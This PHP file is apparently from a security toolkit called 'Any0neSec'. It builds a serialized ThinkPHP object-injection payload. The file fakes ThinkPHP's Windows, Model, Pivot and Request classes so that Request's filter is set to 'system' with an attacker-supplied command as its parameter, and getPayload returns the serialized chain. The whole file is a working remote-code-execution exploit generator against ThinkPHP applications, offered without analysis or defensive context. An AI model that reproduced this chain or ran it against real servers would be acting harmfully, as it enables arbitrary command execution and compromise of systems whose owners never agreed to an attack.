<?php

namespace Any0neSec;
use think\process\pipes\Windows;

class Any0ne{

    public function getPayload($command){
        $windows = new Windows($command);
        return serialize($windows);
    }
}

namespace think;
abstract class Model
{
    private $data = [];
    protected $append = [];

    public function __construct($command)
    {
        $this->data = ["azhe" => new Request($command)];
        $this->append = ["azhe" => ["4ut", "15m"]];
    }
}

class Request
{
    protected $config = [
        // 表单请求类型伪装变量
        'var_method' => '_method',
        // 表单ajax伪装变量
        'var_ajax' => '_ajax',
        // 表单pjax伪装变量
        'var_pjax' => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo' => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter' => '',
        // 域名根，如thinkphp.cn
        'url_domain_root' => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip' => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix' => 'html',
    ];
    protected $param = [];
    protected $hook = [];
    protected $filter;

    public function __construct($command)
    {
        $this->filter = "system";
        $this->hook = ["visible" => [$this, "isAjax"]];
        $this->param = array($command);
        $this->config['var_ajax'] = '';
    }
}

namespace think\process\pipes;

use think\Model\Pivot;

class Windows
{
    private $files;

    public function __construct($command)
    {
        $this->files = [new Pivot($command)];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}


